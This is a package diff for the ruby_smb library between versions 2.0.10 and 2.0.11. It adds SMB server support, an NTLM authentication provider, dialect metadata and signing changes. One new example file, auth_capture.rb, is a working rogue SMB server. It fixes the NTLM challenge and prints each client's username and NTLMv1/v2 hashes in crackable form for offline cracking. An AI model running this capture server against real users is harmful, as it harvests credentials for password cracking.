ruby_smb 2.0.10 → 2.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. checksums.yaml +4 -4
  2. checksums.yaml.gz.sig +0 -0
  3. data/examples/auth_capture.rb +71 -0
  4. data/lib/ruby_smb/client/negotiation.rb +1 -1
  5. data/lib/ruby_smb/client.rb +9 -8
  6. data/lib/ruby_smb/dialect.rb +45 -0
  7. data/lib/ruby_smb/dispatcher/base.rb +1 -1
  8. data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
  9. data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
  10. data/lib/ruby_smb/gss/provider.rb +35 -0
  11. data/lib/ruby_smb/gss.rb +56 -63
  12. data/lib/ruby_smb/ntlm.rb +45 -0
  13. data/lib/ruby_smb/server/server_client/negotiation.rb +155 -0
  14. data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
  15. data/lib/ruby_smb/server/server_client.rb +163 -0
  16. data/lib/ruby_smb/server.rb +54 -0
  17. data/lib/ruby_smb/signing.rb +59 -0
  18. data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
  19. data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
  20. data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
  21. data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
  22. data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
  23. data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
  24. data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
  25. data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
  26. data/lib/ruby_smb/smb2.rb +3 -1
  27. data/lib/ruby_smb/version.rb +1 -1
  28. data/lib/ruby_smb.rb +2 -1
  29. data/spec/lib/ruby_smb/client_spec.rb +7 -9
  30. data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
  31. data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
  32. data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
  33. data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
  34. data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
  35. data/spec/lib/ruby_smb/server_spec.rb +32 -0
  36. data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
  37. data.tar.gz.sig +0 -0
  38. metadata +25 -3
  39. metadata.gz.sig +0 -0
  40. data/lib/ruby_smb/client/signing.rb +0 -64
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 6a940f63ee744f0a05d22023d31d1712d97f43bb267b186705df9d0f2f7c3f76
4
- data.tar.gz: cdbf67cbbdda11e5c25c4773d776899664dd6aba252a65d1ebab7426b6e65d7a
3
+ metadata.gz: c45b986cea81d23700cf798535e234f058639645ff38416ca2caac32f4fd4958
4
+ data.tar.gz: 6c5efa5a6e195767262f63a3f49043e7abda4e11dc763bb83553a6507a9242fd
5
5
  SHA512:
6
- metadata.gz: 550932f77f53fc427e0470db3699832bbf29c86fadd823ce8d7589813a0d7cad13dae5573bf0b8e744fdbef1d62cbab6360ee8c189ed63ee6d79f952c58361a3
7
- data.tar.gz: d5bbb37e144ee6ac920c3b577f22ff11cae9848d75649177ad77d4051a241ce7f7e5df2c1114ba1e4f566eeb2283bdc95aa56be419fbba415e5662afe12221a6
6
+ metadata.gz: f6a54c8d0e8faf6d4ec317808ba077e01c470646e13b1b9c5b56c25f1fdc32bc101f137357112e6394c9111aae02d7bd47612f0f8f09226d1fdd9b595070a16a
7
+ data.tar.gz: 598e2c300856315be3d522ccce9b639f4159995b7c99595cd5cac1c167bea972f9d0cce380fa4da001bdf7c3d9515d1d23194780fd7de53355f968580d273103
checksums.yaml.gz.sig CHANGED
Binary file
@@ -0,0 +1,71 @@
1
+ #!/usr/bin/ruby
2
+
3
+ require 'bundler/setup'
4
+ require 'ruby_smb'
5
+ require 'ruby_smb/gss/provider/ntlm'
6
+
7
+ # we just need *a* default encoding to handle the strings from the NTLM messages
8
+ Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
9
+
10
+ def bin_to_hex(s)
11
+ s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
12
+ end
13
+
14
+ # this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
15
+ class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
16
+ class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
17
+ # override the NTLM type 3 process method to extract all of the valuable information
18
+ def process_ntlm_type3(type3_msg)
19
+ username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
20
+ _, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
21
+
22
+ hash_type = nil
23
+ hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
24
+
25
+ case type3_msg.ntlm_version
26
+ when :ntlmv1
27
+ hash_type = 'NTLMv1-SSP'
28
+ hash << ":#{bin_to_hex(type3_msg.lm_response)}"
29
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
30
+ hash << ":#{bin_to_hex(@server_challenge)}"
31
+ when :ntlmv2
32
+ hash_type = 'NTLMv2-SSP'
33
+ hash << ":#{bin_to_hex(@server_challenge)}"
34
+ # NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
35
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
36
+ hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
37
+ end
38
+
39
+ unless hash_type.nil?
40
+ version = @server_client.metadialect.version_name
41
+ puts "[#{version}] #{hash_type} Client : #{client}"
42
+ puts "[#{version}] #{hash_type} Username : #{username}"
43
+ puts "[#{version}] #{hash_type} Hash : #{hash}"
44
+ end
45
+
46
+ WindowsError::NTStatus::STATUS_ACCESS_DENIED
47
+ end
48
+ end
49
+
50
+ def new_authenticator(server_client)
51
+ # build and return an instance that can process and track stateful information for a particular connection but
52
+ # that's backed by this particular provider
53
+ Authenticator.new(self, server_client)
54
+ end
55
+
56
+ # we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
57
+ def generate_server_challenge(&block)
58
+ "\x11\x22\x33\x44\x55\x66\x77\x88"
59
+ end
60
+ end
61
+
62
+ # define a new server with the custom authentication provider
63
+ server = RubySMB::Server.new(
64
+ gss_provider: HaxorNTLMProvider.new
65
+ )
66
+ puts "server is running"
67
+ server.run do
68
+ puts "received connection"
69
+ # accept all of the connections and run forever
70
+ true
71
+ end
@@ -121,7 +121,7 @@ module RubySMB
121
121
  'SMB1'
122
122
  when RubySMB::SMB2::Packet::NegotiateResponse
123
123
  self.smb1 = false
124
- unless packet.dialect_revision.to_i == 0x02ff
124
+ unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
125
125
  self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
126
126
  self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
127
127
  end
@@ -2,18 +2,19 @@ module RubySMB
2
2
  # Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
3
3
  # all end-user client functionality.
4
4
  class Client
5
+ require 'ruby_smb/ntlm'
6
+ require 'ruby_smb/signing'
5
7
  require 'ruby_smb/client/negotiation'
6
8
  require 'ruby_smb/client/authentication'
7
- require 'ruby_smb/client/signing'
8
9
  require 'ruby_smb/client/tree_connect'
9
10
  require 'ruby_smb/client/echo'
10
11
  require 'ruby_smb/client/utils'
11
12
  require 'ruby_smb/client/winreg'
12
13
  require 'ruby_smb/client/encryption'
13
14
 
15
+ include RubySMB::Signing
14
16
  include RubySMB::Client::Negotiation
15
17
  include RubySMB::Client::Authentication
16
- include RubySMB::Client::Signing
17
18
  include RubySMB::Client::TreeConnect
18
19
  include RubySMB::Client::Echo
19
20
  include RubySMB::Client::Utils
@@ -436,14 +437,14 @@ module RubySMB
436
437
  when 'SMB1'
437
438
  packet.smb_header.uid = self.user_id if self.user_id
438
439
  packet.smb_header.pid_low = self.pid if self.pid
439
- packet = smb1_sign(packet)
440
+ packet = smb1_sign(packet) if signing_required && !session_key.empty?
440
441
  when 'SMB2'
441
442
  packet = increment_smb_message_id(packet)
442
443
  packet.smb2_header.session_id = session_id
443
- unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
444
- if self.smb2
444
+ unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
445
+ if self.smb2 && signing_required
445
446
  packet = smb2_sign(packet)
446
- elsif self.smb3
447
+ elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
447
448
  packet = smb3_sign(packet)
448
449
  end
449
450
  end
@@ -652,9 +653,9 @@ module RubySMB
652
653
  def default_flags
653
654
  negotiate_version_flag = 0x02000000
654
655
  flags = Net::NTLM::Client::DEFAULT_FLAGS |
655
- Net::NTLM::FLAGS[:TARGET_INFO] |
656
+ RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
656
657
  negotiate_version_flag ^
657
- Net::NTLM::FLAGS[:OEM]
658
+ RubySMB::NTLM::NEGOTIATE_FLAGS[:OEM]
658
659
 
659
660
  flags
660
661
  end
@@ -0,0 +1,45 @@
1
+ module RubySMB
2
+ # Definitions that define metadata around a particular SMB dialect. This is useful for grouping dialects into a
3
+ # hierarchy as well as printing them as human readable strings with varying degrees of specificity.
4
+ module Dialect
5
+ # the order (taxonomic ranking) of the family, 2 and 3 are intentionally combined
6
+ ORDER_SMB1 = 'SMB1'.freeze
7
+ ORDER_SMB2 = 'SMB2'.freeze
8
+
9
+ # the family of the dialect
10
+ FAMILY_SMB1 = 'SMB 1'.freeze
11
+ FAMILY_SMB2 = 'SMB 2.x'.freeze
12
+ FAMILY_SMB3 = 'SMB 3.x'.freeze
13
+
14
+ # the major version of the dialect
15
+ VERSION_SMB1 = 'SMB v1'.freeze
16
+ VERSION_SMB2 = 'SMB v2'.freeze
17
+ VERSION_SMB3 = 'SMB v3'.freeze
18
+
19
+ # the names are meant to be human readable and may change in the future, use the #dialect, #order and #family
20
+ # attributes for any programmatic comparisons
21
+ Definition = Struct.new(:dialect, :order, :family, :version_name, :full_name) do
22
+ alias_method :short_name, :version_name
23
+ end
24
+
25
+ ALL = [
26
+ Definition.new('NT LM 0.12', ORDER_SMB1, FAMILY_SMB1, VERSION_SMB1, 'SMB v1 (NT LM 0.12)'.freeze),
27
+ Definition.new('0x0202', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.0.2'.freeze),
28
+ Definition.new('0x0210', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.1'.freeze),
29
+ Definition.new('0x02ff', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB 2.???'.freeze), # wildcard revision
30
+ Definition.new('0x0300', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0'.freeze),
31
+ Definition.new('0x0302', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0.2'.freeze),
32
+ Definition.new('0x0311', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.1.1'.freeze)
33
+ ].map { |definition| [definition.dialect, definition] }.to_h
34
+
35
+ #
36
+ # Retrieve a dialect definition. The definition contains metadata describing the particular dialect.
37
+ #
38
+ # @param [Integer, String] dialect the dialect to retrieve the definition for
39
+ # @return [Definition, nil] the definition if it was found
40
+ def self.[](dialect)
41
+ dialect = '0x%04x' % dialect if dialect.is_a? Integer
42
+ ALL[dialect]
43
+ end
44
+ end
45
+ end
@@ -9,7 +9,7 @@ module RubySMB
9
9
  def nbss(packet)
10
10
  nbss = RubySMB::Nbss::SessionHeader.new
11
11
  nbss.session_packet_type = RubySMB::Nbss::SESSION_MESSAGE
12
- nbss.stream_protocol_length = packet.do_num_bytes
12
+ nbss.stream_protocol_length = packet.do_num_bytes.to_i
13
13
  nbss.to_binary_s
14
14
  end
15
15
 
@@ -0,0 +1,42 @@
1
+ module RubySMB
2
+ module Gss
3
+ module Provider
4
+ module Authenticator
5
+ #
6
+ # The base class for a GSS provider's unique authenticator. This provides a common interface and is not usable
7
+ # on it's own. The provider-specific authentication logic is defined within this authenticator class which
8
+ # actually runs the authentication routine.
9
+ #
10
+ class Base
11
+ # @param [Provider::Base] provider the GSS provider that this instance is an authenticator for
12
+ # @param server_client the client instance that this will be an authenticator for
13
+ def initialize(provider, server_client)
14
+ @provider = provider
15
+ @server_client = server_client
16
+ @session_key = nil
17
+ reset!
18
+ end
19
+
20
+ #
21
+ # Process a GSS authentication buffer. If no buffer is specified, the request is assumed to be the first in
22
+ # the negotiation sequence.
23
+ #
24
+ # @param [String, nil] buffer the request GSS request buffer that should be processed
25
+ # @return [Gss::Provider::Result] the result of the processed GSS request
26
+ def process(request_buffer=nil)
27
+ raise NotImplementedError
28
+ end
29
+
30
+ #
31
+ # Reset the authenticator's state, wiping anything related to a partial or complete authentication process.
32
+ #
33
+ def reset!
34
+ @session_key = nil
35
+ end
36
+
37
+ attr_accessor :session_key
38
+ end
39
+ end
40
+ end
41
+ end
42
+ end
@@ -0,0 +1,303 @@
1
+ require 'ruby_smb/ntlm'
2
+
3
+ module RubySMB
4
+ module Gss
5
+ module Provider
6
+ #
7
+ # A GSS provider that authenticates clients via the NT LAN Manager (NTLM) Security Support Provider (NTLMSSP)
8
+ # protocol.
9
+ #
10
+ class NTLM < Base
11
+ include RubySMB::NTLM
12
+
13
+ # An account representing an identity for which this provider will accept authentication attempts.
14
+ Account = Struct.new(:username, :password, :domain) do
15
+ def to_s
16
+ "#{domain}\\#{username}"
17
+ end
18
+ end
19
+
20
+ class Authenticator < Authenticator::Base
21
+ def reset!
22
+ super
23
+ @server_challenge = nil
24
+ end
25
+
26
+ def process(request_buffer=nil)
27
+ if request_buffer.nil?
28
+ # this is only NTLMSSP (as opposed to SPNEGO + NTLMSSP)
29
+ buffer = OpenSSL::ASN1::ASN1Data.new([
30
+ Gss::OID_SPNEGO,
31
+ OpenSSL::ASN1::ASN1Data.new([
32
+ OpenSSL::ASN1::Sequence.new([
33
+ OpenSSL::ASN1::ASN1Data.new([
34
+ OpenSSL::ASN1::Sequence.new([
35
+ Gss::OID_NTLMSSP
36
+ ])
37
+ ], 0, :CONTEXT_SPECIFIC),
38
+ OpenSSL::ASN1::ASN1Data.new([
39
+ OpenSSL::ASN1::ASN1Data.new([
40
+ OpenSSL::ASN1::ASN1Data.new([
41
+ OpenSSL::ASN1::GeneralString.new('not_defined_in_RFC4178@please_ignore')
42
+ ], 0, :CONTEXT_SPECIFIC)
43
+ ], 16, :UNIVERSAL)
44
+ ], 3, :CONTEXT_SPECIFIC)
45
+ ])
46
+ ], 0, :CONTEXT_SPECIFIC)
47
+ ], 0, :APPLICATION).to_der
48
+ return Result.new(buffer, WindowsError::NTStatus::STATUS_SUCCESS)
49
+ end
50
+
51
+ begin
52
+ gss_api = OpenSSL::ASN1.decode(request_buffer)
53
+ rescue OpenSSL::ASN1::ASN1Error
54
+ return
55
+ end
56
+
57
+ if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
58
+ result = process_gss_type1(gss_api)
59
+ elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
60
+ result = process_gss_type3(gss_api)
61
+ end
62
+
63
+ result
64
+ end
65
+
66
+ #
67
+ # Process the NTLM type 1 message and build a type 2 response message.
68
+ #
69
+ # @param [Net::NTLM::Message::Type1] type1_msg the NTLM type 1 message received by the client that should be
70
+ # processed
71
+ # @return [Net::NTLM::Message::Type2] the NTLM type 2 response message with which to reply to the client
72
+ def process_ntlm_type1(type1_msg)
73
+ type2_msg = Net::NTLM::Message::Type2.new.tap do |msg|
74
+ msg.target_name = 'LOCALHOST'.encode('UTF-16LE').b
75
+ msg.flag = 0
76
+ %i{ KEY56 KEY128 KEY_EXCHANGE UNICODE TARGET_INFO VERSION_INFO }.each do |flag|
77
+ msg.flag |= NTLM::NEGOTIATE_FLAGS.fetch(flag)
78
+ end
79
+
80
+ @server_challenge = @provider.generate_server_challenge
81
+ msg.challenge = @server_challenge.unpack1('Q<') # 64-bit unsigned, little endian (uint64_t)
82
+ target_info = Net::NTLM::TargetInfo.new('')
83
+ target_info.av_pairs.merge!({
84
+ Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME => @provider.netbios_domain.encode('UTF-16LE').b,
85
+ Net::NTLM::TargetInfo::MSV_AV_NB_COMPUTER_NAME => @provider.netbios_hostname.encode('UTF-16LE').b,
86
+ Net::NTLM::TargetInfo::MSV_AV_DNS_DOMAIN_NAME => @provider.dns_domain.encode('UTF-16LE').b,
87
+ Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME => @provider.dns_hostname.encode('UTF-16LE').b,
88
+ Net::NTLM::TargetInfo::MSV_AV_TIMESTAMP => [(Time.now.to_i + Net::NTLM::TIME_OFFSET) * Field::FileTime::NS_MULTIPLIER].pack('Q')
89
+ })
90
+ msg.target_info = target_info.to_s
91
+ msg.enable(:target_info)
92
+ msg.context = 0
93
+ msg.enable(:context)
94
+ msg.os_version = NTLM::OSVersion.new(major: 6, minor: 3).to_binary_s
95
+ msg.enable(:os_version)
96
+ end
97
+
98
+ type2_msg
99
+ end
100
+
101
+ #
102
+ # Process the NTLM type 3 message and either accept or reject the authentication attempt.
103
+ #
104
+ # @param [Net::NTLM::Message::Type3] type3_msg the NTLM type 3 message received by the client that should be
105
+ # processed
106
+ # @return [WindowsError::ErrorCode] an NT Status error code representing the operations outcome where
107
+ # STATUS_SUCCESS is a successful authentication attempt and anything else is a failure
108
+ def process_ntlm_type3(type3_msg)
109
+ if type3_msg.user == '' && type3_msg.domain == ''
110
+ if @provider.allow_anonymous
111
+ return WindowsError::NTStatus::STATUS_SUCCESS
112
+ end
113
+
114
+ return WindowsError::NTStatus::STATUS_LOGON_FAILURE
115
+ end
116
+
117
+ account = @provider.get_account(
118
+ type3_msg.user,
119
+ domain: type3_msg.domain
120
+ )
121
+ return WindowsError::NTStatus::STATUS_LOGON_FAILURE if account.nil?
122
+
123
+ matches = false
124
+ case type3_msg.ntlm_version
125
+ when :ntlmv1
126
+ my_ntlm_response = Net::NTLM::ntlm_response(
127
+ ntlm_hash: Net::NTLM::ntlm_hash(account.password.encode('UTF-16LE'), unicode: true),
128
+ challenge: @server_challenge
129
+ )
130
+ matches = my_ntlm_response == type3_msg.ntlm_response
131
+ when :ntlmv2
132
+ digest = OpenSSL::Digest::MD5.new
133
+ their_nt_proof_str = type3_msg.ntlm_response[0...digest.digest_length]
134
+ their_blob = type3_msg.ntlm_response[digest.digest_length..-1]
135
+
136
+ ntlmv2_hash = Net::NTLM.ntlmv2_hash(
137
+ account.username.encode('UTF-16LE'),
138
+ account.password.encode('UTF-16LE'),
139
+ type3_msg.domain.encode('UTF-16LE'), # don't use the account domain because of the special '.' value
140
+ {client_challenge: their_blob[16...24], unicode: true}
141
+ )
142
+
143
+ my_nt_proof_str = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_hash, @server_challenge + their_blob)
144
+ matches = my_nt_proof_str == their_nt_proof_str
145
+ if matches
146
+ user_session_key = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_hash, my_nt_proof_str)
147
+ if type3_msg.flag & NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] == NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] && type3_msg.session_key.length == 16
148
+ rc4 = OpenSSL::Cipher.new('rc4')
149
+ rc4.decrypt
150
+ rc4.key = user_session_key
151
+ @session_key = rc4.update type3_msg.session_key
152
+ @session_key << rc4.final
153
+ else
154
+ @session_key = user_session_key
155
+ end
156
+ end
157
+ else
158
+ # the only other value Net::NTLM will return for this is ntlm_session
159
+ raise NotImplementedError, "authentication via ntlm version #{type3_msg.ntlm_version} is not supported"
160
+ end
161
+
162
+ return WindowsError::NTStatus::STATUS_LOGON_FAILURE unless matches
163
+
164
+ WindowsError::NTStatus::STATUS_SUCCESS
165
+ end
166
+
167
+ attr_accessor :server_challenge
168
+
169
+ private
170
+
171
+ # take the GSS blob, extract the NTLM type 1 message and pass it to the process method to build the response
172
+ # which is then put back into a new GSS reply-blob
173
+ def process_gss_type1(gss_api)
174
+ unless Gss.asn1dig(gss_api, 1, 0, 0, 0, 0)&.value == Gss::OID_NTLMSSP.value
175
+ return
176
+ end
177
+
178
+ raw_type1_msg = Gss.asn1dig(gss_api, 1, 0, 1, 0)&.value
179
+ return unless raw_type1_msg
180
+
181
+ type1_msg = Net::NTLM::Message.parse(raw_type1_msg)
182
+ if type1_msg.flag & NTLM::NEGOTIATE_FLAGS[:UNICODE] == NTLM::NEGOTIATE_FLAGS[:UNICODE]
183
+ type1_msg.domain.force_encoding('UTF-16LE')
184
+ type1_msg.workstation.force_encoding('UTF-16LE')
185
+ end
186
+ type2_msg = process_ntlm_type1(type1_msg)
187
+
188
+ Result.new(Gss.gss_type2(type2_msg.serialize), WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED)
189
+ end
190
+
191
+ # take the GSS blob, extract the NTLM type 3 message and pass it to the process method to build the response
192
+ # which is then put back into a new GSS reply-blob
193
+ def process_gss_type3(gss_api)
194
+ neg_token_init = Hash[RubySMB::Gss.asn1dig(gss_api, 0).value.map { |obj| [obj.tag, obj.value[0].value] }]
195
+ raw_type3_msg = neg_token_init[2]
196
+
197
+ type3_msg = Net::NTLM::Message.parse(raw_type3_msg)
198
+ if type3_msg.flag & NTLM::NEGOTIATE_FLAGS[:UNICODE] == NTLM::NEGOTIATE_FLAGS[:UNICODE]
199
+ type3_msg.domain.force_encoding('UTF-16LE')
200
+ type3_msg.user.force_encoding('UTF-16LE')
201
+ type3_msg.workstation.force_encoding('UTF-16LE')
202
+ end
203
+
204
+ nt_status = process_ntlm_type3(type3_msg)
205
+ buffer = identity = nil
206
+
207
+ case nt_status
208
+ when WindowsError::NTStatus::STATUS_SUCCESS
209
+ buffer = OpenSSL::ASN1::ASN1Data.new([
210
+ OpenSSL::ASN1::Sequence.new([
211
+ OpenSSL::ASN1::ASN1Data.new([
212
+ OpenSSL::ASN1::Enumerated.new(OpenSSL::BN.new(0)),
213
+ ], 0, :CONTEXT_SPECIFIC)
214
+ ])
215
+ ], 1, :CONTEXT_SPECIFIC).to_der
216
+
217
+ account = @provider.get_account(
218
+ type3_msg.user,
219
+ domain: type3_msg.domain
220
+ )
221
+ if account.nil?
222
+ if @provider.allow_anonymous
223
+ identity = IDENTITY_ANONYMOUS
224
+ end
225
+ else
226
+ identity = account.to_s
227
+ end
228
+ end
229
+
230
+ Result.new(buffer, nt_status, identity)
231
+ end
232
+ end
233
+
234
+ # @param [Boolean] allow_anonymous whether or not to allow anonymous authentication attempts
235
+ # @param [String] default_domain the default domain to use for authentication, unless specified 'WORKGROUP' will
236
+ # be used
237
+ def initialize(allow_anonymous: false, default_domain: 'WORKGROUP')
238
+ raise ArgumentError, 'Must specify a default domain' unless default_domain
239
+
240
+ @allow_anonymous = allow_anonymous
241
+ @default_domain = default_domain
242
+ @accounts = []
243
+ @generate_server_challenge = -> { SecureRandom.bytes(8) }
244
+
245
+ @dns_domain = @netbios_domain = 'LOCALDOMAIN'
246
+ @dns_hostname = @netbios_hostname = 'LOCALHOST'
247
+ end
248
+
249
+ #
250
+ # Generate the 8-byte server challenge. If a block is specified, it's used as the challenge generation routine
251
+ # and should return an 8-byte value.
252
+ #
253
+ # @return [String] an 8-byte challenge value
254
+ def generate_server_challenge(&block)
255
+ if block.nil?
256
+ @generate_server_challenge.call
257
+ else
258
+ @generate_server_challenge = block
259
+ end
260
+ end
261
+
262
+ def new_authenticator(server_client)
263
+ # build and return an instance that can process and track stateful information for a particular connection but
264
+ # that's backed by this particular provider
265
+ Authenticator.new(self, server_client)
266
+ end
267
+
268
+ #
269
+ # Lookup and return an account based on the username and optionally, the domain. If no domain is specified or
270
+ # or it is the special value '.', the default domain will be used. The username and domain values are case
271
+ # insensitive.
272
+ #
273
+ # @param [String] username the username of the account to fetch.
274
+ # @param [String, nil] domain the domain in which the account to fetch exists.
275
+ # @return [Account, nil] the account if it was found
276
+ def get_account(username, domain: nil)
277
+ # the username and password values should use the native encoding for the comparison in the #find operation
278
+ username = username.downcase
279
+ domain = @default_domain if domain.nil? || domain == '.'.encode(domain.encoding)
280
+ domain = domain.downcase
281
+ @accounts.find { |account| account.username.encode(username.encoding).downcase == username && account.domain.encode(domain.encoding).downcase == domain }
282
+ end
283
+
284
+ #
285
+ # Add an account to the database.
286
+ #
287
+ # @param [String] username the username of the account to add
288
+ # @param [String] password either the plaintext password or the NTLM hash of the account to add
289
+ # @param [String] domain the domain of the account to add, if not specified, the @default_domain will be used
290
+ def put_account(username, password, domain: nil)
291
+ domain = @default_domain if domain.nil? || domain == '.'.encode(domain.encoding)
292
+ @accounts << Account.new(username, password, domain)
293
+ end
294
+
295
+ #
296
+ # The default domain value to use for accounts which do not have one specified or use the special '.' value.
297
+ attr_reader :default_domain
298
+
299
+ attr_accessor :dns_domain, :dns_hostname, :netbios_domain, :netbios_hostname
300
+ end
301
+ end
302
+ end
303
+ end